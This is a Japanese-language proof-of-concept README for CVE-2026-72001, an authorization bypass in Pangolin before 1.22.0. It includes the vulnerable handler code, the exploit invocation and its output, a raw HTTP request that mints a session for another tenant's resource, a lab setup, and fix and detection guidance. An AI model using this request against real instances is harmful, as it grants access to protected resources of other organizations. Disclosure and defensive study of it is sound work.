
CVE-2026-72001 の PoC — Pangolin < 1.22.0 における共有リンクのアクセストークンエンドポイントを介した組織間リソース認証バイパス (CWE-639、CVSS 8.1)。
CVE-2026-72001 の概念実証です。これは Pangolin (< 1.22.0) における壊れたオブジェクトレベル認可の脆弱性であり、1つのリソースの共有リンクを保持する攻撃者が、**インスタンス上の任意の他のリソース(別の組織が所有するリソースを含む)**に対して有効なリソースセッションを発行でき、設定されたすべての認証方法(SSO、リソースパスワード、PIN、メール許可リスト、ヘッダー認証)をバイパスできます。
| CVE | CVE-2026-72001 |
| 製品 | fosrl/pangolin |
| 影響を受けるバージョン | < 1.22.0 |
| 修正済み | 1.22.0 |
| 分類 | ユーザー制御キーによる認可バイパス (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 認証 | 攻撃者は任意のリソースに対する1つの有効な共有リンクトークンのみを必要とする |
| 判定 | 脆弱性を確認 (エンドツーエンド、badger エンフォースメント valid:true) |
共有リンク認証エンドポイント POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) には2つの分岐があります。リクエストが
accessTokenId を伴う場合、トークンを検証しますが、そのチェックを URL 内のリソースに
バインドすることを忘れています:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken は、resourceId を受け取った場合にのみリソースバインディングを
強制します:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
ハンドラーが resourceId を転送しないため、ガードはスキップされます。トークンはそれ自身の
リソースに対して検証される一方、セッションは URL で指定されたリソースに対して発行されます。
その後、被害リソースのセッション(badger リクエストトークン)が作成されます:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
このルートは非認証ルーター (unauthenticated.use("/auth", authRouter)) 上に存在し、
(兄弟である password/pincode/whitelist 認証ルートとは異なり)レート制限がありません。
CSRF ミドルウェアは静的な定数ヘッダー (X-CSRF-Token: x-csrf-protection) のみをチェックします。
修正 (1.22.0): ハンドラーは resourceId を verifyResourceAccessToken に転送するため、
不一致ガードが発動し、クロスリソースリクエストは 401 "Resource ID does not match" を返します。
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
単一の脆弱なリクエストは次のとおりです:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access はさらに、返されたリクエストトークンを badger エンフォースメント
エンドポイント (/badger/exchange-session → /badger/verify-session) — Traefik が参照する
のと同じパス — で交換し、単に返された文字列ではなく実際のアクセスを証明します。実際の
デプロイメントでは、攻撃者は単にリクエストトークンをリソースに提示するだけで、
Traefik/badger が自動的に交換します。
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
完全なウォークスルーと脆弱版対修正版の境界については、lab/setup.sh、
ANALYSIS.md、および evidence/ を参照してください。
任意のマルチテナント / マルチ組織の Pangolin インスタンス(複数の組織を持つセルフホスト、 MSP、またはホスト型デプロイメント)において、単一の共有リンクを取得できるアクター — 正当に付与されたもの、漏洩したもの、または自身が制御する任意のリソースで自己発行したもの — は、他の任意のテナントの保護されたリソースを読み取り、操作できます。インスタンス上の すべての保護されたリソースの機密性と完全性が侵害されます (CVSS C:H/I:H)。
Pangolin ≥ 1.22.0 にアップグレードしてください。この修正はアクセストークンチェックを URL のリソース ID にバインドします。< 1.22.0 を完全に緩和する設定上の回避策はありません。 リソース共有リンクの発行を制限し、アップグレード後に既存のアクセストークンをローテーション してください。
提示された accessTokenId が、その ID が <id> と異なるリソースに属する
POST /api/v1/auth/resource/<id>/access-token(クロスリソーストークン使用)を探し、
また大量に到着するアクセストークン認証リクエスト(このルートはスロットルされていません)
を探してください。logAccessAudit エントリには、トークンの組織がリソースの組織と異なる
accessToken アクションが表示されます。
発見 / 分析および PoC は BiiTts (Caio Fabrício) によるものです。脆弱性は VulnCheck に よって報告されました。アドバイザリ: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint。